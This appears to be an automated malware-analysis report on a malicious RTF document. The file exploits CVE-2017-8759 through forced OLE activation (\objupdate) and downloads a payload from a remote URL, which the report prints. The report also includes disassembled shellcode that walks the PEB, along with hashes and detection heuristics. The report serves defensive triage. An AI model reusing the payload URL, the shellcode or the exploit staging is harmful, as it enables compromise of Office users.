RTF malware analysis — malicious · af47ebde0a16f808

MALICIOUS

RTF

245.9 KB Created: 2017-12-18 11:56:00 First seen: 2017-12-24

MD5: 0a93e518b7e9238996e6d5ddde803be9 SHA-1: 907a2e98dde3834bc6a1c5d1fab618427e4b3502 SHA-256: af47ebde0a16f808d0b37171398ad64bf145443cd262e536c483a1821aa78d96

262 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF document contains OLE objects and uses \objupdate to force OLE activation, triggering CVE-2017-8759. This vulnerability is used to download a payload from the remote URL http://todpot.tk/0346/t.php?stats=send&thread=0. ClamAV also detected this file as Rtf.Downloader.CVE_2017-6336326-3.

Heuristics 7

CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
ClamAV: Rtf.Downloader.CVE_2017-6336326-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Downloader.CVE_2017-6336326-3

PEB access via FS segment (x86) high SC_PEB_ACCESS

PEB access via FS segment (x86)

Disassembly

Attempted x86 opcode disassembly

00013519  64a130000000      mov eax, dword ptr fs:[0x30]
0001351F  9b                wait
00013520  8b400c            mov eax, dword ptr [eax + 0xc]
00013523  83e801            sub eax, 1
00013526  83c001            add eax, 1
00013529  8b4014            mov eax, dword ptr [eax + 0x14]
0001352C  60                pushal
0001352D  61                popal
0001352E  8b4014            mov eax, dword ptr [eax + 0x14]
00013531  56                push esi
00013532  bef7000000        mov esi, 0xf7
00013537  5e                pop esi
00013538  48                dec eax
00013539  668138ff25        cmp word ptr [eax], 0x25ff
0001353E  75f8              jne 0x13538
00013540  9b                wait
00013541  8b4002            mov eax, dword ptr [eax + 2]
00013544  9b                wait
00013545  8b00              mov eax, dword ptr [eax]
00013547  90                nop
00013548  40                inc eax
00013549  bb0c247c8b        mov ebx, 0x8b7c240c
0001354E  0fcb              bswap ebx
00013550  3918              cmp dword ptr [eax], ebx
00013552  75f4              jne 0x13548
00013554  81780485ff7c08    cmp dword ptr [eax + 4], 0x87cff85
0001355B  75eb              jne 0x13548
0001355D  83e801            sub eax, 1
00013560  83c001            add eax, 1
00013563  83e802            sub eax, 2
00013566  e9fa000000        jmp 0x13665
0001356B  0000              add byte ptr [eax], al
0001356D  0000              add byte ptr [eax], al
0001356F  0000              add byte ptr [eax], al
00013571  0000              add byte ptr [eax], al
00013573  0000              add byte ptr [eax], al
00013575  0000              add byte ptr [eax], al
00013577  0000              add byte ptr [eax], al

\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
INCLUDETEXT/INCLUDEPICTURE remote URL high RTF_INCLUDE_REMOTE

RTF document uses INCLUDETEXT or INCLUDEPICTURE with an http:// URL — Word can fetch the remote content on open depending on Office version and external-content settings, enabling remote template injection, NTLM capture via redirects, or payload delivery
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://todpot.tk/0346/t.php?stats=send&thread=0 In RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000c568.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xC568	2598 bytes
SHA-256: `958c6a347deec34fdbed67e065f04e9c575f0e13a93ace15782bd6899a1c92b4`
`objdata_01_off0000dc96.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xDC96	2723 bytes
SHA-256: `0434dece3b60573ec8eb06a6a1d5a15200f352756c38de5d8672232bb14b3ada`

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